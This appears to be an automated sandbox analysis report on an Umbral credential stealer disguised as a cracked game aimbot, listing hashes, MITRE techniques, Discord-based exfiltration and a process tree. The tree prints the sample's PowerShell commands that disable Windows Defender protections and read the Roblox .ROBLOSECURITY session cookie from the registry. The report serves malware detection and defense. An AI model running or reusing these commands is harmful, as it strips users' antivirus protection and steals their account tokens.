umbral | b9d84636a9359f58b03287d8e8db195c45d6557b02f657073144707db483f001

Resubmissions

29-06-2024 16:53

240629-vd8x8s1fqg 10

Analysis

max time kernel
147s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29-06-2024 16:53

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General

Target

Complex Softaim Cracked.exe
Size

293KB
MD5

6dad101a84200598ebab60f17bee37a4
SHA1

41e48f77329c1ce4cf165de9008bdf790af6947a
SHA256

174e2a9c2a37b2650d9a10421b880572cbd5a87440eb77b85398be00c2228a24
SHA512

00cbe80d83c8512dfa474f1c6e7bd85f8207748cb1ffc2c3cfa3a28cc551096add77af722283557e8cdc398d0bc9c551d0f9f0d19b6efb5356bc0e0611155201
SSDEEP

6144:GloZMFrIkd8g+EtXHkv/iD4UaIH+n9GuBk0dP6aPcQb8e1mviI:woZOL+EP8UaIH+n9GuBk0dP6aP1tI

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral4/memory/2084-1-0x0000020378600000-0x0000020378650000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2996	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1364	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2084	Complex Softaim Cracked.exe
2996	powershell.exe
2996	powershell.exe
1040	powershell.exe
1040	powershell.exe
888	powershell.exe
888	powershell.exe
3152	powershell.exe
3152	powershell.exe
4000	powershell.exe
4000	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2084	Complex Softaim Cracked.exe
Token: SeIncreaseQuotaPrivilege	1824	wmic.exe
Token: SeSecurityPrivilege	1824	wmic.exe
Token: SeTakeOwnershipPrivilege	1824	wmic.exe
Token: SeLoadDriverPrivilege	1824	wmic.exe
Token: SeSystemProfilePrivilege	1824	wmic.exe
Token: SeSystemtimePrivilege	1824	wmic.exe
Token: SeProfSingleProcessPrivilege	1824	wmic.exe
Token: SeIncBasePriorityPrivilege	1824	wmic.exe
Token: SeCreatePagefilePrivilege	1824	wmic.exe
Token: SeBackupPrivilege	1824	wmic.exe
Token: SeRestorePrivilege	1824	wmic.exe
Token: SeShutdownPrivilege	1824	wmic.exe
Token: SeDebugPrivilege	1824	wmic.exe
Token: SeSystemEnvironmentPrivilege	1824	wmic.exe
Token: SeRemoteShutdownPrivilege	1824	wmic.exe
Token: SeUndockPrivilege	1824	wmic.exe
Token: SeManageVolumePrivilege	1824	wmic.exe
Token: 33	1824	wmic.exe
Token: 34	1824	wmic.exe
Token: 35	1824	wmic.exe
Token: 36	1824	wmic.exe
Token: SeIncreaseQuotaPrivilege	1824	wmic.exe
Token: SeSecurityPrivilege	1824	wmic.exe
Token: SeTakeOwnershipPrivilege	1824	wmic.exe
Token: SeLoadDriverPrivilege	1824	wmic.exe
Token: SeSystemProfilePrivilege	1824	wmic.exe
Token: SeSystemtimePrivilege	1824	wmic.exe
Token: SeProfSingleProcessPrivilege	1824	wmic.exe
Token: SeIncBasePriorityPrivilege	1824	wmic.exe
Token: SeCreatePagefilePrivilege	1824	wmic.exe
Token: SeBackupPrivilege	1824	wmic.exe
Token: SeRestorePrivilege	1824	wmic.exe
Token: SeShutdownPrivilege	1824	wmic.exe
Token: SeDebugPrivilege	1824	wmic.exe
Token: SeSystemEnvironmentPrivilege	1824	wmic.exe
Token: SeRemoteShutdownPrivilege	1824	wmic.exe
Token: SeUndockPrivilege	1824	wmic.exe
Token: SeManageVolumePrivilege	1824	wmic.exe
Token: 33	1824	wmic.exe
Token: 34	1824	wmic.exe
Token: 35	1824	wmic.exe
Token: 36	1824	wmic.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeIncreaseQuotaPrivilege	3464	wmic.exe
Token: SeSecurityPrivilege	3464	wmic.exe
Token: SeTakeOwnershipPrivilege	3464	wmic.exe
Token: SeLoadDriverPrivilege	3464	wmic.exe
Token: SeSystemProfilePrivilege	3464	wmic.exe
Token: SeSystemtimePrivilege	3464	wmic.exe
Token: SeProfSingleProcessPrivilege	3464	wmic.exe
Token: SeIncBasePriorityPrivilege	3464	wmic.exe
Token: SeCreatePagefilePrivilege	3464	wmic.exe
Token: SeBackupPrivilege	3464	wmic.exe
Token: SeRestorePrivilege	3464	wmic.exe
Token: SeShutdownPrivilege	3464	wmic.exe
Token: SeDebugPrivilege	3464	wmic.exe
Token: SeSystemEnvironmentPrivilege	3464	wmic.exe
Token: SeRemoteShutdownPrivilege	3464	wmic.exe
Token: SeUndockPrivilege	3464	wmic.exe
Token: SeManageVolumePrivilege	3464	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 1824	2084	Complex Softaim Cracked.exe	81
PID 2084 wrote to memory of 1824	2084	Complex Softaim Cracked.exe	81
PID 2084 wrote to memory of 2996	2084	Complex Softaim Cracked.exe	84
PID 2084 wrote to memory of 2996	2084	Complex Softaim Cracked.exe	84
PID 2084 wrote to memory of 1040	2084	Complex Softaim Cracked.exe	86
PID 2084 wrote to memory of 1040	2084	Complex Softaim Cracked.exe	86
PID 2084 wrote to memory of 888	2084	Complex Softaim Cracked.exe	88
PID 2084 wrote to memory of 888	2084	Complex Softaim Cracked.exe	88
PID 2084 wrote to memory of 3152	2084	Complex Softaim Cracked.exe	90
PID 2084 wrote to memory of 3152	2084	Complex Softaim Cracked.exe	90
PID 2084 wrote to memory of 3464	2084	Complex Softaim Cracked.exe	94
PID 2084 wrote to memory of 3464	2084	Complex Softaim Cracked.exe	94
PID 2084 wrote to memory of 4588	2084	Complex Softaim Cracked.exe	96
PID 2084 wrote to memory of 4588	2084	Complex Softaim Cracked.exe	96
PID 2084 wrote to memory of 4348	2084	Complex Softaim Cracked.exe	98
PID 2084 wrote to memory of 4348	2084	Complex Softaim Cracked.exe	98
PID 2084 wrote to memory of 4000	2084	Complex Softaim Cracked.exe	100
PID 2084 wrote to memory of 4000	2084	Complex Softaim Cracked.exe	100
PID 2084 wrote to memory of 1364	2084	Complex Softaim Cracked.exe	102
PID 2084 wrote to memory of 1364	2084	Complex Softaim Cracked.exe	102

C:\Users\Admin\AppData\Local\Temp\Complex Softaim Cracked.exe
"C:\Users\Admin\AppData\Local\Temp\Complex Softaim Cracked.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Complex Softaim Cracked.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3464
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4000
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cb3a799921d48256ab45414af88b0aa8

SHA1
8888fb5656f5f11576c0fbc3ba45d7df56000d28

SHA256
5ad60a0e324106c6b5a8a7c41b4eac83234ed53cf26025dd4d63c0750b265105

SHA512
21b53b49d0f95cb600444b15a274c31d9374ae96dc2ab464e6ada96bae11f1000e92f6f51f62e5b91891dbbb30e6ab9c71006a9a166b8d4ae24457dcd7efdf69

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17d8127be94d3c1b6fcc9a4ed585003e

SHA1
789874fcc7c778c723f3e89822d8cc8750c6c4c8

SHA256
ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

SHA512
bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_20bceglw.2sd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2084-30-0x000002037AD90000-0x000002037AE06000-memory.dmp

Filesize
472KB

Download
memory/2084-69-0x000002037AD70000-0x000002037AD82000-memory.dmp

Filesize
72KB

Download
memory/2084-88-0x00007FF894C90000-0x00007FF895751000-memory.dmp

Filesize
10.8MB

Download
memory/2084-0-0x00007FF894C93000-0x00007FF894C95000-memory.dmp

Filesize
8KB

Download
memory/2084-1-0x0000020378600000-0x0000020378650000-memory.dmp

Filesize
320KB

Download
memory/2084-31-0x000002037AE10000-0x000002037AE60000-memory.dmp

Filesize
320KB

Download
memory/2084-32-0x000002037A3B0000-0x000002037A3CE000-memory.dmp

Filesize
120KB

Download
memory/2084-68-0x000002037A3E0000-0x000002037A3EA000-memory.dmp

Filesize
40KB

Download
memory/2084-2-0x00007FF894C90000-0x00007FF895751000-memory.dmp

Filesize
10.8MB

Download
memory/2996-3-0x00007FF894C90000-0x00007FF895751000-memory.dmp

Filesize
10.8MB

Download
memory/2996-17-0x00007FF894C90000-0x00007FF895751000-memory.dmp

Filesize
10.8MB

Download
memory/2996-4-0x00007FF894C90000-0x00007FF895751000-memory.dmp

Filesize
10.8MB

Download
memory/2996-14-0x000001CBEE160000-0x000001CBEE182000-memory.dmp

Filesize
136KB

Download
memory/4000-83-0x000001EE76230000-0x000001EE7644C000-memory.dmp

Filesize
2.1MB

Download